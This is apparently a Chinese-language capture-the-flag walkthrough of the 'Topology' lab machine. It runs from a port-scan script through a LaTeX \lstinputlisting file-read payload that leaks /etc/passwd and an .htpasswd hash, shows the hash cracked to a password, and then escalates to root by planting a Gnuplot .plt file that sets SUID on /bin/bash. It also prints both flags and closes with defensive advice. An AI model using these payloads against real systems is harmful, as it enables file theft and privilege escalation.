[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升
字数 731 2025-08-29 08:30:24
LaTeX LFI与Gnuplot .plt权限提升漏洞分析与利用
信息收集
目标系统概况
- IP地址: 10.10.11.217
- 操作系统: Ubuntu Linux
- 开放端口:
- 22/tcp: OpenSSH 8.2p1
- 80/tcp: Apache httpd 2.4.41
扫描结果
$ ip='10.10.11.217'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
LaTeX本地文件包含(LFI)漏洞利用
环境准备
- 添加目标主机到本地hosts文件:
echo "10.10.11.217 topology.htb latex.topology.htb" >> /etc/hosts
- 访问目标网站:
http://latex.topology.htb/equation.php
漏洞利用
LaTeX的\lstinputlisting命令可用于读取服务器上的任意文件:
- 读取/etc/passwd文件:
$\lstinputlisting{/etc/passwd}$
- 读取web目录下的.htpasswd文件获取凭据:
$\lstinputlisting{/var/www/dev/.htpasswd}$
获取到哈希值:
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
- 使用John the Ripper破解哈希:
john hash -w /home/maptnh/Desktop/rockyou.txt
破解出的密码: calculus20
获取初始访问权限
使用破解的凭据通过SSH登录:
ssh vdaisley@10.10.11.217
获取user flag:
ea549fbe9b9b240c598e7bf40f2f9532
Gnuplot .plt权限提升
Gnuplot简介
Gnuplot是一个命令行驱动的科学绘图工具,支持多种图形输出类型。它可以执行.plt文件中的命令。
提权步骤
-
检查/opt/gnuplot目录下的.plt文件
-
创建恶意.plt文件执行系统命令:
echo 'system "chmod u+s /bin/bash"' > /opt/gnuplot/exp.plt
-
执行.plt文件(可能需要等待定时任务或其他触发方式)
-
获取root shell:
/bin/bash -p
- 读取root flag:
a7da9976eb37c87c889639f9e98503df
防御建议
针对LaTeX LFI
- 禁用或限制
\lstinputlisting命令的使用 - 实施输入验证和过滤
- 使用沙箱环境处理LaTeX渲染
- 限制文件系统访问权限
针对Gnuplot提权
- 更新Gnuplot到最新版本
- 限制.plt文件的执行权限
- 监控/opt/gnuplot目录的变更
- 避免以root权限运行Gnuplot脚本
- 实施最小权限原则